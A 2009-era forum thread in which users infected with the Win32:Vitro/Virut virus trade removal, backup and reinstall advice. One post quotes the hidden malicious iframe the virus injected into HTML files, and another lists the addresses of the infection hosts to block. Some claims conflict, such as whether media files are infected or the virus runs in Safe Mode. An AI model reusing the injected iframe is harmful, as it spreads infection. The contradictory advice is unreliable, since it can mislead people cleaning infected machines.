all your steps are Ok and good, but, as the test that I've done in my laptop for "Virut", I found that AVIRA has covered all generation of Virut, so I offer you to download Avira Rescue System (http://www.free-av.com/en/tools/12/avira_antivir_rescue_system.html), this is an AntiVirus bootable disc with latest virus definition from Avira, Download it from Here (http://dl1.pro.antivir.de/package/rescue_system/common/en/rescue_system-common-en.exe), run it, burn it to a blank disc, boot your computer using this disc, let it do a full scan and remove everything that found. I'm sure it would remove anything that currently be in your computer. well, until that time alwil cover all generation of Virut, it's best solution to get rid of Virut after very infection, so, after infection,
do these:

2. download and burn Avira Rescue System (http://www.free-av.com/en/tools/12/avira_antivir_rescue_system.html) using a clean computer and burn it to a disc
3. boot your computer using this disc and do a full scan, let it remove everything

5. make sure your hosts is immunized
6. re-install corrupted programs.

well, in those steps there are nothing, Avira Rescue System has been covered all generation of Virto and it must work, anyway, if it don't work, at least it would not corrupt anything.

Hello guys,

Also I had the w.32.vitro virus and it did a hell lot of damage.
I am recovered now, formatted all my partitions. and reinstalled windows

Now, I have 2 harddrives. The second harddrives I cant format in DOS, because in Dos it is not shown. In windows I have to install a mass storage device first, then windows can see the other drive.

Since partitions in the second drive are not formatted yet, I am afraid when I install the driver, the stations will be infected and I can start all over again.

I have avast home edition installed.

What is the safest way to complete this?

Hi dannyman12345,

I think the safest way is to  do this completely with the system fully unconnected in SAFE MODE, and then scan everything with an updated av solution like DrCureIt from a dvd/cd you have burnt from a known uncompromised system. Only when all is clear you can run it is normal mode again, else you can get reinfected at the blink of an eye, because the virus stays in memory, so in between boots take the current off (stroom onderbreken a.u.b.),

Hi All, I recently got infected by this virus, after reading all of the posts I have decided to go with the formatting option. I understand this virus is still very much undiscovered and new attack zones are being found everyday. But what I would really like to know is if it will/has/can infect my pics? Most if not all are JPEG files. They are photos of my children so I would be Shattered if I had to lose them all! I am also very unclear where I could have pick this up from as we only use the internet for Ebay, Bank, Facebook and hotmail. I am more than Happy to lose everything else on my computer just not my photos. Please if someone could answer my question I would be ever so grateful!
 TY to everyone who has posted how they removed the virus as it has given me options! Kris

no, it would not, as what happened to me, it only infected .exe files in my computer in all partitions :)
but, during taking backup, make sure your backup target don't get infected.

Hi again all, I have a pre paid internet usb dongle, All the programs needed to run it are stored on the dongle, they are .exe I am unsure if I can get them replaced! What are the chances that my dongle is infected? We are going to experiment with a spare HDD and see if it gets infected from the dongle! If I find out before anyone here replies, I will post results for others. wish me luck!!!   ???

Hi everyone, I just got hit by this this morning. I've tried basically nothing whatsoever beside running MalWareBytes - which did nothing.

So I come to you guys, to give me, basically, a step by step of what I need to do to recover from this. 

I have another computer, which is connected to the same network at the infected PC - this is a standard home network through a regular old router.  Is it now infected?  I don't have any form of open filesharing or anything running and it hasn't run any executables that are from the infected PC.

I just installed Avast! personal edition and got a HJT log - so here we go.  What should I do?

EDIT - I am willing to format, but I want to make sure that I do it properly.  I'd like to migrate to Windows 7 64 bit anyway, so it works out in the long run, I just dread having to do all the reinstalling twice.  I should also say that it only pops up a single window, one time, on reboot.  It doesn't seem to be doing much of anything else, so I can probably live with it for a short while if I must.

Welcome to the forums, kithoo.   :)

An analysis of your HJT log shows the following problems :

It seems that you don't use an anti-virus scanner or your scanner is not active. Only an anti-virus scanner can protect you against new viruses.

We didn't detect any active process of a firewall on your system. Reasons maybe:
(1.) You are using the windows firewall or a hardware firewall.
(2.) You are using a firewall of an unknown vendor.
(3.) You are using a firewall, but for unknown reasons it is disabled
(4.) You don't use any firewall at all.
We recommend you to use a firewall. Perhaps you are using Vista's firewall?

O4 - HKUS\S-1-5-18\..\Run: [] C:\Windows\TEMP\x9yw2d.exe (User 'SYSTEM')
BAD entry that should be fixed. No search results.

O4 - HKUS\.DEFAULT\..\Run: [] C:\Windows\TEMP\x9yw2d.exe (User 'Default user')
BAD entry that should be fixed. No search results.

O15 - Trusted Zone: *.gametap.com
Questionable entry because it is in the trusted zone. If you didn't add '*.gametap.com' to your trusted pages, it should be fixed.

O16 - DPF: {C8AEB218-8B7A-4E15-AC17-0EE8D99B80EB} (GameTap Web Updater) - http://archives.gametap.com/static/cab_headless/GameTapWebUpdater.cab
Questionable entry. Check if you know this site and fix it if you do not. Unknown ActiveX-Objects, or ActiveX-Objects from unknown sites should always be fixed.

O17 - HKLM\System\CCS\Services\Tcpip\..\{EA7EE8F8-C85E-46A2-AF4D-C6DB7D6FB181}: NameServer = 205.152.150.23,205.152.132.23
Do you know the IP or Domain '205.152.150.23,205.152.132.23'? If not, fix this entry. This could be your ISP service. Are you a BellSouth/ATT customer?

O20 - AppInit_DLLs: c:\progra~1\ThunMail\testabd.dll
BAD entry that should be fixed. The filename is associated with the malware groups: Worm, Cloaked Malware
http://www.prevx.com/filenames/X95523613197856939-X1/TESTABD.DLL.html
Related to: Virus.Win32.Virut.ce
http://www.precisesecurity.com/files-process/2009/05/04/testabd-dll/

The next 2 entries are questionable and possibly bad but, since they are both related to Sysinternals, please wait for comments from others before fixing the 2 entries below.

Gametap is in the clear, it's a known site.  They use an ActiveX panel to allow you to play/stream games from a browser.  Currently I'm having issues even getting into my computer, I'm getting some sort of "Interactive logon failed to initialize." but I can get into Safe Mode.

It's looking like I'm going to have to format anyway - so what are the steps I need to take to immunize myself from Vitro when I come back up?

Safe browsing and downloading, common sense on emails.
Scan with www.virustotal.com any new file (suspect) to be executed.
Keep your operational system and antivirus updated.
Well... the general procedures...

Not quite what I meant.  I mean - what do I need to do after formatting and reinstalling Vista to make sure I don't get reinfected from one of my other drives?

Is formatting and reinstalling on the C:\ drive going to make me safe enough to boot up, install/run Avast and clean up the other drives?  Is simply having the other drives connected going to reinfect the primary drive?

It seems this thing is particularly malicious, and if it were some standard virus I wouldn't have these concerns, but I don't want to format only to find out I need to do it again because I got reinfected from another drive.

EDIT - Also, are any of my files safe on any drive?  Are my videos (AVI and WMV) safe?  What about family photos and whatnot (jpg and gifs)?  I'm a bit confused because I have yet to find any truly detailed information about what files types Vitro will infect (other than exes and dlls).

after format drive C: and before install windows, scan all your drive partitions using Avast Rescue System to make sure there are not any virus missed by avast!, avast! is very good and this scan would be for making sure. it's easy and free :)

The Avira AntiVir Rescue System a linux-based application that allows accessing computers that cannot be booted anymore. Thus it is possible to repair a damaged system, to rescue data or to scan the system for virus infections. Just double-click on the rescue system package to burn it to a CD/DVD. You can then use this CD/DVD to boot your computer. The Avira AntiVir Rescue System is updated several times a day so that the most recent security updates are always available. You can download it from Here (http://dl1.pro.antivir.de/package/rescue_system/common/en/rescue_system-common-en.exe). You can learn how to use it from Here (http://www.avira.com/en/support/kbdetails.php?id=267).
also, if you want to burn that disc yourself with your own burning tool (Such as Nero or…), you can download the Image File (.iso) from Here (http://dl1.pro.antivir.de/package/rescue_system/common/en/rescue_system-common-en.iso).
After burn it to disc, use it to boot your computer and do a full scan and remove everything it find.

only your .exe files are at risk, but anyway it's better you scan all files, maybe some of .exe files be still clean, or maybe some new .exe files be hidden in your other drives. do a full scan to make sure :) (also, some generation of it can infected .dll files too, media files are safe though).

Awesome!  This is what I needed.  I'll probably deal with all this in the coming days.  As long as I don't have to format my media drive I will be okay, losing 14 years worth of music collection (and god knows where all those CDs are now), years of family photos, and tons of videos is just not an appealing prospect.

Welp, looks like I have my solution.  Thanks a ton!

I have a USB 2.0 External Enclosure like this that I have a 80GB HD from my old PIII that died for backups:
http://www.newegg.ca/Product/Product.aspx?Item=N82E16817816002

Its great as I can move it between systems and have backups in one place.

Awesome!  This is what I needed.  I'll probably deal with all this in the coming days.  As long as I don't have to format my media drive I will be okay, losing 14 years worth of music collection (and god knows where all those CDs are now), years of family photos, and tons of videos is just not an appealing prospect.

Welp, looks like I have my solution.  Thanks a ton!

I have a USB 2.0 External Enclosure like this that I have a 80GB HD from my old PIII that died for backups:
http://www.newegg.ca/Product/Product.aspx?Item=N82E16817816002

Its great as I can move it between systems and have backups in one place.

I've got a 500GB external drive that may be infected but it has, at most, 5 exe's and a tiny number of dll's on it so once avira/avast cleans it up it will serve perfectly for recovery of stuff.

Virto is hard to remove, beside avast! at least try 2 different antivirus engine to scan too.

the best way to scan computer with different antivirus is scan via Live Bootable antivirus disc, use these:
1. Free Dr.Web Live CD: http://www.freedrweb.com/livecd/

2. (recommended) Avira Rescue System:
The Avira AntiVir Rescue System a linux-based application that allows accessing computers that cannot be booted anymore. Thus it is possible to repair a damaged system, to rescue data or to scan the system for virus infections. Just double-click on the rescue system package to burn it to a CD/DVD. You can then use this CD/DVD to boot your computer. The Avira AntiVir Rescue System is updated several times a day so that the most recent security updates are always available. You can download it from Here (http://dl1.pro.antivir.de/package/rescue_system/common/en/rescue_system-common-en.exe). You can learn how to use it from Here (http://www.avira.com/en/support/kbdetails.php?id=267).
also, if you want to burn that disc yourself with your own burning tool (Such as Nero or…), you can download the Image File (.iso) from Here (http://dl1.pro.antivir.de/package/rescue_system/common/en/rescue_system-common-en.iso).
After burn it to disc, use it to boot your computer and do a full scan and remove everything it find.

Hi Waranu,

If this horrendous buggy file infector has been loose onto your OS for some time without it running in SafeMode, you are better of with fdisk, format, re-install. Do not trust any peripherals (USB-sticks) etc. that have come into contact with vitro, because if a new install it could immediately re-infect.

the best way to scan computer with different antivirus is scan via Live Bootable antivirus disc, use these:
1. Free Dr.Web Live CD: http://www.freedrweb.com/livecd/  to see if all is cleansed.

After re-install see to two things update your OS to the latest updates and patches, and see all your third party software is updates and fully patched using Secunia PSI: http://secunia.com/PSISetup.exe

You can identify machines infected by current strains of the virus by looking for a service running as "Remote Explorer" in the services control panel. Better give us a HJT logfile txt as an attached txt file, download HJT from here: http://www.filehippo.com/download_hijackthis/download/58170ee6e58bba306c943f5b6d745c99/

Well I just started the process and I am left with a question.  How do I fdisk or format my root drive when I can't boot into anything?  Will one of the recovery consoles allow me to do this?

EDIT - And the Avira console colors are all wrong, any ideas why?  I can barely read half the text and can't even see the other half.  It also seems to get stuck at "Load modules..." - been sitting at 0% for quite a while now.

Hey all, I recently got attacked by this ass of a virus.
I decided to just take the easy way out and reformat, but I want to backup some things before I do.
I was wondering if I was in safe mode when I did the backups to a external harddrive, would it get infected? I wouldn't be backing up any exes just music and files, the Harddrive in question hasn't been plugged into the infected computer for a while so im almost positive its not infected, but it does have a few Exes on there, is there any chance they would get infected If I plugged it in during safe mode?

back up your files in external drives (No .exe and .dll)

reformat hard drive

do a clean install of windows.

scan your external hard drive using updated antivirus before restore your backup files :)

yes,that darn virus infects windows processes,wich are run even in safe mode
what you can do is backup using a MS-DOS diskette if you want to try,the virus won't ever run while in MS-DOS

Hi Drakkar,

Just a good tip from the past you offered there, but there are loads of modern computers that have no floppy drive or a diskette driveas it was called by Microsoft anymore. Also the file infector is not active in SafeMode,

Title: Re: Malware name Win32:Vitro
Post by: ekay417 on June 04, 2009, 02:07:33 AM
Hi,

I had some general questions about backing up my data among others.

First, here’s some background info. on how my computer got infected (Sorry for the length.):

Back in April, my desktop got heavily infected. It was running on Windows XP Home Edition SP3. After doing a scan with McAfee (which came with my ISP) at the time, it moved several files including many important files from the WINDOWS folder. After I rebooted my computer at the time, I was subsequently locked out as I found out that I had a “login loop error” if I recall correctly. I was able to log back in after following a helpful guide on the Internet and running some bootable software.

The guide then suggested to run various software in Safe Mode such as Avast!, Spybot, and other various programs. I burned these programs onto a CD using my spare labtop. I was able to install some of the programs successfully while with others I ran into several roadblocks. I ran a boot-time scan with Avast!, and afterwards it found several infected files but none due to Vitro at the time. Then I ran a full thorough scan of my computer in Safe Mode, and it again found several infected files but none due to Vitro.

There were also other problems in Safe Mode. I found that a lot of .exe’s were missing and all my Microsoft Office Applications wouldn’t work along with notepad. Also, anytime I tried to right click on a file, my screen would flash and close any windows that I had open. Then, it would ask if I wanted to continue in Safe Mode indicating that System Restore wouldn’t be available if I did continue in Safe Mode, and I would always press OK to continue in Safe Mode again.

After discussing the problems I had with the creator of the guide, he said the computer seemed to be heavily infected and suggested to reinstall Windows from scratch. But he suggested doing a repair installation as a long shot though before reinstalling Windows from scratch. I used a Dell OS Reinstallation XP Home Edition SP1 CD to run the repair installation, and I ran into several errors because it couldn’t find certain files. But somehow I was able to complete a repair installation. Entering into safe mode after the repair installation, I could now open my Microsoft Office Applications, but I couldn’t right click on files without my screen flashing and then proceeding to close all open windows. I then proceeded to open Avast!, and after finding something wrong with my Operating Memory, it scheduled a boot-time scan. It was during the boot-time scan, that the Vitro virus was then detected. It said C:\WINDOWS\SYSTEM32\sdbinst.exe was infected by Win:32Vitro, and I had no other option but to delete it.

At this point, I’ve come to a realization that the best option is to do a fresh installation of Windows, but I want to back-up all my Microsoft Office files such as .doc, .xls, .ppt and media such as pictures, mp3s, and video files including .wmv, .mpeg, and .flv. I don’t particularly need any of the .exe files. In terms of importance, I need the Microsoft Office files above everything else. All of these files could fit onto a CD, but I can’t access my burning software because it’s missing.  I don’t have a flash drive or external hard drive, but I was planning on buying an external hard drive to try to backup all of my files.

The questions I had concerning my situation after reading previous posts on this thread were the following: (Sorry if I’m repeating the same questions, but I wanted to make sure I got the correct answers in accordance to my situation. And sorry if these questions sound dumb, I’m not too advanced when it comes to computers.)

If I transferred applications such as Avast!, Spybot, and other software over to my infected computer using a CD, would this infect the CD? Would it infect the transferred software?

Is it safe to continue to operate in Safe Mode?

If I’ve continuously rebooted over and over in Safe Mode for a period of 2 weeks within the last 2 months but never in Normal Mode, will it make my computer any worse than what it is now? I’ve disconnected the infected computer from my home network, never went in Normal Mode, or connected to the Internet since this problem has occurred.

Is it safe to run applications and open files in Safe Mode? Will the Vitro virus infect any additional applications and files in Safe Mode?

I read in previous posts how the virus infects .htm/.html files, will it be safe to even attempt to open these in Safe Mode? The reason I ask is if possible, I would like to retain some of the information in these files such as certain logs by copying the text into a word file.

I read how the virus goes after certain media files such as .mp3 and .wmv, will it be safe to backup these files? Also, does the virus go after .flv files?

Can I backup files to an external hard drive in Safe Mode? I read how flash drives can become infected, can the virus spread to the external hard drive?

If backing up files to an external hard drive in Safe Mode is possible, will Vitro appear when copying these files?

Also, why wasn't Vitro detected when I first ran the scans with Avast! before the repair installation? It wasn't detected until after the repair installation during the boot-time scan.

So I had the same problems as you, and I was beginning to get frustrated because none of the advice on these boards were working.  I did a little research and found, that as someone previously stated, that this virus comes from the Ukraine.  After some research, I found a antivirus from Ukraine that seems to fix the problem called True Sword 4.  It is a free download and gives you 10 free solutions to the problem...

Unfortunately, this trojan as you probably know by now infects more than 10 parts of your system... but maybe it will free up enough of the worm that it is coupled with (called the convoker worm)sp?   to allow you to execute some other antivirus softwares.

Post by: Gortwiz on June 07, 2009, 11:12:27 PM
Hello everyone!  This is my first post here.  I have been reading this thread and I am in the same boat as many others here.  I was hit with virut/vitro about 2 months ago on my Vista desktop.  I thought I got rid of it (repaired with DrWeb live cd).  I ran everything (except Avast) including avg8.5, SuperAntiSpyware, Spybot S&D, AdAware, DrWebCureit, Windows Defender, Malware bytes  all error free offline.  I then ran (still offline) many games and other apps with no apparent problems for a week or two, scanning every night for virus/malware.  Then being fairly confident it was gone, went back online and updated Vista and the others with the latest signatures, went offline and ran everything again without any errors.  I then started using Vista online again for about a month with no problems again running full scans several times a week. I thought I had defeated this dreaded beast!

About 2 weeks ago I was going to install a new game (Burnout Paradise) so I updated everything including avg8.5.  I also remember getting a popup about updating java which I accepted (in retrospect may have been bogus), and updated Firefox to the latest version as well.  Then I went offline and ran a full scan with Avg8.5 and KaBoom!  It found thousands of html/framer viruses (same as Avast HTML:Iframe-inf).  Almost every htm, html, asp on my machine was infected, BUT there were NO other virus/malware found.  I even got the latest DrWebLive Cd and it ran error free.  I thought the html/framer that avg found might be a false positive, but upon some research I found
 
"<iframe src="hxxp://jL.chura.pl/rc/" style="display:none"></iframe>"

was at the bottom of the infected files. I then downloaded Avast (from this XP machine) and put in on Vista and ran a full scan.  It did NOT detect the iframe but did find 5 exe's that had win32:Vitro.  I put them in quarantine, then Shut down avg8.5, ran Avast again, and this time it found the 6 thousand html:Iframe-inf.  So apparently avg8.5 somehow stops Avast from finding this.  Most importantly, Avast did find and remove the 5 win32:Vitro that NO other anti-virus/malware could detect.  Based on this, I will be dumping avg and installing avast whether I fix this problem or not.

To fix the iframe problem I tried the freeware htm auto_replace tool that was mentioned in this forum.  I was able to fix all of my D: drive, and most of the C: drive so this utility is great.  The only problem is that there a several folders on the C: drive that can't be changed.  This is where I need help from someone with more knowledge than I about Vista.  I ran this utility under the real administrator and it reports that the files are changed, but if I check again, nothing has been changed.  Here is one the file paths;

C:\User\don\AppData\Local\VirtualStore\ProgramFiles\Adobe\Reader8.0\Reader\Howto
\Enu\ hundreds of html's

There are a few others under the VirtualStore\ProgramFiles\ that can't be changed as well.  I also tried running SafeMode, but same problem.

I am hoping that with all the knowledge on this forum that someone can help or at least point me in the right direction.  I can go to these locations, rename the html to txt and open them with notepad, make changes, but when trying to save it I get some message about can't change this file.  Looking at the file attributes, it is not read only, so I am at a loss here.  I also turned off UAC but no difference.  How can this virus get in here and I can't?

Sorry for the length here.  I know that I may not beat this thing, but since I can still use XP for the net, I can spend a few weeks trying to fix the Vista machine.

One final question...  IF I get all of the iframes fixed, and IF Avast and everything else runs without errors, is there anything else I should do before running Vista online?

This virut/vitro really sucks!  I read about a few here who have said they beat it.  I would like anyone who really has to reaffirm this.  Also anyone who really thought they got rid of it (like me a few months ago) and got nailed again, please post and let us know that as well.

Many thanks to everyone on this forum!

Howdy Gortwitz,

Yes this a monster of a thing to combat. Apparently you were re-infected online via the Vitro infecting site. These have to be blocked absolutely with SpywareBlaster where you can specify these separately or via the use of a host file.
Block these IP addresses:
61,235,117,80     (ntkmpla dot info)
221,5,74,38     (zief dot pl)
212,85,96,95     (jL dot chupa dot nl)
218,93,205,30     (jL dot chura dot nl)
(Replace the commas with dots)
Any contact with this buggy file infector via peripherals, data, back-ups, network, online sources, cache etc. etc. will lead to a re-infect that when not in SafeMode will go through your OS like a bush fire and will try to infect everything and succeeds in some completely, some randomly spared, some partly - that is why it is so difficult to repair from an infection.
So effectively it is either block the file infector or throw in the towel - fdisk, re-format, re-install.
There is a rumor there is a Ukrainian repair tool because the file infector was apparently malcreated there, but if this is only a rumor, I do not know. Thanks for reporting here and for the further information gained on this nastiness,

This is not a solution, but with Comodo you can add all executable files to your protected files and you have to approve for every modification on your executable files, therefore Vitro must ask permission before it infect. You can prevent Vitro infecting any new files.

Evening Everyone,

I've tried reading through the thread to no avail for a solution.

First off, I had this virus come to my attention just after installing avast.  My PC was a mess after downloading a PC game.

When deleting infected files, Avast has wiped out many of my .exe files from the Systems32 folder.  As a result, I cannot log into Windows at all.  When I log in, in ANY mode under ANY user name (even as admin) it automatically logs right back out again.

I'm not advserse formatting the hard-drive and reinstalling windows to get rid of it completely but I DO need to log into windows and back some stuff up first and fore-most.

Is there any way I can fix this log on log off loop to back this stuff up before I format the whole thing?

I've tried doing a repair install, tried extracting files from the XP disc and it hasn't fixed the problem.

Thanks in Advance.
Title: Re: Malware name Win32:Vitro
Post by: DavidR on June 09, 2009, 08:16:02 PM
Lets be clear avast hasn't wiped out any of your .exe files, the virus infected them avast detected the infected files and you chose the option to delete, avast doesn't take autonomous action. Deletion isn't really a good first option (you have none left), don't delete, send virus to the chest and investigate.

This virus is very virulent and for the most part when established you are fighting an uphill battle, which for most people has resulted in a format and reinstall as this topic attests. Somewhere in this topic I'm sure it mentions using a live CD version of DrWeb CureIt, even then this may not be effective in cleaning/repairing infected files. DrWeb Live CD if you are unable to get into your system see, http://www.freedrweb.com/livecd/?lng=en (http://www.freedrweb.com/livecd/?lng=en), documentation ftp://ftp.drweb.com/pub/drweb/livecd/LiveCD-en.pdf

You may also need to get a Linux Live CD to use that to back-up what you can as I don't know if the DrWeb Live CD offers any other function other than a scan.

Thanks David, I'll have a look.

I've got a laptop at home too that I'm on, so I'll try and burn a copy.

So are you saying there is a way for me to backup some files even though I can't log into windows?
Title: Re: Malware name Win32:Vitro
Post by: DavidR on June 09, 2009, 08:57:36 PM
By not going into windows yes, that is the purpose of the Linux Live CD it runs  linux but should be able to view your windows partitions and I guess back-up files to a USB stick.

Just google Linux Live CD and you are likely to be snowed under with hits, damn small linux is one, puppy linix is another both of these really because the desktop distribution is relatively small and any Live CD theoretically should be smaller. You have to exercise card as to what to back-up as you could invariably be backing up infected files, no .exe, .htm/l or .scr files as these are some of the target files.

Having copied what you want to the USB, you could run the DrWeb CD again and scan the USB stick to ensure what you backed up is actually clean.

Title: Re: Malware name Win32:Vitro
Post by: DavidR on June 10, 2009, 03:08:39 PM
Short answer NO, as there is no guarantee that Vitro doesn't run in safe mode, any file that you open which is a target file for Vitro is infected on opening. This is how it spreads so rapidly and is so virulent.

I have no idea which MS Office file types if any it targets.

So you need to exercise more safe hex practices, go looking for hacks/cracks/keys and your sure to get bit in the ass sooner than later.

I noticed the post the moderator made, but this is a question I'm wondering as well. CAN I rescue my MP3s, and if so, how? The link provided did not directly address this; it talked about how to salvage system in general (through deletion of most data).

I will DIE without my MP3s :(

i don't know if for example hotmail's antivirus is good enough that i can send some pic from my pc to an e-mail then when i fix the problem with vitro when i get the pic again from the e-mail if vitro infects my pc again?this is my problem.i don't give a f... if my other files will be lost except the pics,the other files is not a problem to download them.

If it's hotmail, it probably isn't good enough. But that's what I'm asking...does Vitro infect mp3s, jpgs, gifs, and the like?

EDIT: I've been reading some more, and now I am aware that Vitro DOES target mp3s. Although I know the safest thing to do would be to reformat and reinstall (I believe this is classified as the "Nuke" option), I would like to try and save my mp3s, as about 5000 out of my 25000 are not backed up. Would my safest bet be to load Avira (or BitDefender, or one of the other programs mentioned) onto a CD from a noninfected computer, and scan all mp3s before backing them up? Specifically how would you recommend backing these up? Also, I'm somewhat confused: after reformating, would it be safe to simply load from the uninfected backup, or would more steps need to be taken first?

I will never use uTorrent again (it was my first uTorrent download :( )

Hello.

A few weeks back I caught Vitro (or Virut.56). Avast found it and I decided to plug off and try all sorts of things.

Someone suggested Dr.Web LiveCD to cure it (using CureIt). I can say that it didn't work. At least I could save some files to a nuked HDD which is now detached from my PC.

Right now avast! is finding more than ever Vitro infections and other malware (iframe insertions) and I'm resorting to nuking my drives. Will a zero-fill nuke suffice or should I take something heavier?

I heard that Vitro will attach to .mp3 files too. Is this true? Will it attach to program specific files (.psd (Photoshop), .rns (Reason))?

My word of advice: backup your files while you can. Don't boot to Windows until you're sure you've backed up your files (non executables and non .html files). In my case I've lost everyhing if this one gets mp3s and jpgs. There seems to be nothing you can do with this new form of Virut. :(

1. Flash Drive Disinfector
Information and Download Flash_Disinfector.exe by sUBs from >here< (http://experi3nc3.wordpress.com/2007/05/10/flash-disinfector-by-subs/) and save it to your desktop.Note: Flash_Disinfector will create a hidden folder named autorun.inf in each partition and every USB drive plugged in when you ran it.

Hello all, this is my first post....sorry if I should have introduced myself elsewhere on the forum first, but with this matter I'm sure I can be forgiven for dispensing with such protocols. I'll also apologise now for the long post coming your way, but I thought it time for you all to 'hear' a happy ending concerning Win32:Vitro and the wonderful (and free!) Avast! program.

It seems Vitro is no longer making ALL the headway in this war. Avast surely cured me when it caught it early enough. To cut a VERY long story a *tiny* bit shorter  ;), I was ravaged by Vitro on my PC. It has three HDD's - the system disk and two storage drives with just .AVI and .MP3 files respectively. That's to say the SYSTEM disk was ravaged, as my two storage drives seemed fine and there were no .exe files on them (at least I thought so then). I never had Avast! at this point, and AVG, Malwarebytes and Superantispyware never detected any viruses at all.....but I KNEW I had a BAD virus as my OS was QUICKLY getting eaten away to the point that I just logged on to a black screen...i.e. a completely destroyed operating system. So I formatted/re-installed FOUR times....but this unknown and insanely destructive virus was still there.....I had to watch my OS get eaten away again four times in a row. It since turns out it was my backups on a USB flash drive that kept re-infecting my system disk with what I now know was Win32:Vitro. So I employed the scorched earth policy....I disconnected the two storage drives from my motherboard, as I suspected they were not infected and I wanted them to stay that way. I rebooted, used Darik's Boot n' Nuke to overwrite the full system drive with 0's, re-installed XP, and as I had now suspected an infected flash drive, I never tried to put it back in and was prepared to forgo the back-ups and lose my stuff. My system now seemed fine, but I thought I'd try Avast! to see what it was like and to see if that found anything. So I installed Avast.

Avast! updated to the latest definitions and I set about scanning. It found nothing.....and my OS was seemingly back to normal. Great. However, I *really* wanted the files off my 16GB USB drive....so, with faith in Avast!, I took a chance and put it back in my machine. I IMMEDIATELY scanned it.......and low and behold it found several instances of the Win32:Vitro virus on the many .exe files belonging to various programs I wished to re-install. So I let Avast! put them all in the chest for the time being. Then, after some research on just how nasty Vitro can be, I decided I would forgo the contents of the USB drive and let Avast! delete the infected files from the chest. After that I re-formatted the flash drive and also used the flash 'Disinfector' utility to make sure it was clean. I rebooted the PC with the drive still attached and left it in...in fact it is still in now, days later, and both it and my PC are clean of Vitro. SO....that is at least one instance of Avast! detecting the virus and quickly and successfully deleting it before it could re-infect anything else. So good on you Avast!??????

BUT.....was it Avast that kept the USB drive clean or the Disinfector tool? Or was it a combination of the two? Well, here's the answer: As I was still convinced my two disconnected SATA storage drives were clean, I plugged them back into my mobo, the ones with Avi's and MP3's I mentioned earlier, and immediately scanned them both. Avast! reported that the one with the MP3's was totally clean....BUT the one with the Avi's had hidden 'System Information' and 'Recycler' folders, and in the latter was two Win32:Vitro infected .exe files that must have cheekily found their way there. So....I simply let Avast! delete them and carried on as normal.

That was over two days ago now and all is fine and dandy....so I now know that while Disinfector could possibly have helped a bit with the flash drive, it was DEFINITELY Avast!, and only Avast! that did ALL the detective work....and only Avast that I let delete the Vitro viruses from my infected storage drive. My system has been switched on constantly since then, I've done numerous Avast! scans, nothing whatsoever has been found, and Windows XP is as fit as a fiddle.

While earlier in this thread people spoke of Avast! finding Vitro but being unable to remove it, that is apparently not the case here. Perhaps it is starting to win the war? Obviously I benefited from immediate detection and removal of just a handful of Vitro infected files, as I had a clean system disk and OS at this point.....but the fact remains that Avast! found a load of Vitro infected .exe's on my flash drive and deleted them all before it could leap anywhere else, and then did the same with the two infected .exe files on my big SATA storage drive.

I know for a fact I'm clean of Vitro now...the OS is working perfectly fine and I can access and update all the security websites that were blocked by Vitro while I was infected. I can also update Malwarebytes and Superantispyware that I couldn't do while infected with Vitro (for all the good they are....as out of those two, AVG and Avast!, only Avast has even found it and named it...let alone kill it).

So I just want to say thank you to the folks at Avast! for being the only one on the market to fight this menace. It seems Symantec, AVG and McAfee don't want to talk about it, let alone try and fight it. Thank you Avast! And I sincerely hope I'm not the last with this menace who has a happy ending.....even if they have to employ a format/install tactic at some point.

Thanks for reading.  8)

I hope this msg will save a bit of time to somebody out there ^^

The virus _is_ killable; you _do_not_ need to reformat your hard drive.
But prepare for hours worth of checking. And windows reinstall.
In my case the only files got affected were *.exe.
Doesn't seem to touch any images nor mp3's.
Took me abt a night to restore my laptop. + few hrs to recover the software i've lost.
Didn't want to go reformat path since i have over 70 gig worth of documents\images\mp3's i didn't have backups for.

Boot up ur pc. Open up control panel get to device manager - take the screenshot of all devices you've got installed, unless you have all drivers on separate non infected CD. Make sure you have drivers for your network card handy. USB stick maybe not such bad idea, but it might infect things.
Get the XP installer CD out.

Back up stuff you are going to need in a future. If it is software\distributive - archive it or something - chances are it is infected, but you still can use it under VMWare - if it kills OS - doesn't matter - just restore it, takes few minutes in VM.

Run under safe mode. F8 business on initial load.
Start up avast. Chances are, it will find quite a few infected executables in your memory. if it doesn't, well, good on you ^^
Clean up as much as you can. Agree to option - scan prior to OS loading - restart your machine.
That will load up the antivirus check. Delete all the virus cases (ignoring your backup, if you happen to have infected files there. So switching on option "delete all" probably not such a good idea. And don't check the archives at this point in time, no need.)

Chances are, that will destroy your OS. In my case it removed half of executables from program files, couple of dll's (not 100% sure if that was vitro, can't remember at this point), number of key files from %windows% folder.

Reinstall the windows.
Chuck in your XP installation CD, you know the drill.

Install network drivers. Run downloader from avast. This little 300k's file which is available around here.

That should download & trigger install on latest avast release available. Reason, why you do want to download fresh one, is because the one you have probably is infected. So you want fresh install.

Install it. At the end it will offer you memory scan on reboot. Agree to this one.
Run it. Now, that will not kill your OS. Because you just cleaned up all old infected files, and the new ones just got freshly installed. But it will find quite a few infected files out there, in snapshots, system restore points, etc/

Do the full check. This time around, check archives as well.
Just ignore the ones u r planning to use for VMWare.

That's it. In total abt 6-7 hours worth of checking on abt 70 gig worth of data.
Got dual core 4 gig ram lappy.

Good luck repairing, and next time around ensure that u r running real time protection of some sort during _any_ install of _any_ software.

Although - if i'd be you - i'd take ISO image of a hard drive, and play with partitions ones you are fully recovered. So in a future, if you do have a problem such as this one, you can just restore your HDD from hidden partition, and don't have all of these drama.
It's fun though, you get to learn new things abt microsoft creation ^^

P.S> well done avast guys; your antivirus runs successfully on 7 y.o. windows XP SP 1 - unlike AVG and alike - these do require you to upgrade to the SP2+; otherways their software will not run;
extremely impressed, that's the way the antivirus should be created - with the least amount of dependencies to the OS 8-)
the only wish i'd have is - as well as little 300k downloader - would be nice to have the full installer available for public too; so i can grab just that; can be used on cases when PC doesn't have internet access. I still can rip out the setup.exe but me - lazy 8-P

Post by: Siddha on July 20, 2009, 11:06:36 PM
P.P.S> Avast bug: under russian windows SP1 in safe mode - avast installed w/ russian interface - you have issues with coding - instead of proper alphabet it displays bunch of question marks; try to UTF8 encode it or something.

Hi Siddha,

Glad to hear of your success,

The full installer is located on the website too, just download the one under the 'universal installation file' in the relavant language to you (you will notice the different file sizes)

No idea how long I have had Vitro on my computer, only discovered it because it uploaded a different virus to my computer and I was deleting that when I found evidence of Vitro (hard to do when not using Avast).  So I finally figured out most of what I have to do to get rid of Vitro. I only recently came across this thread (as a result of trying to find even more information on the Vitro Virus). I've spent near 48hrs straight learning what I can about Vitro/Virut. Seems to be some common misconceptions that I would like to clear up since I expect this thread to be getting more views due to the increased spread of Vitro as of the late.

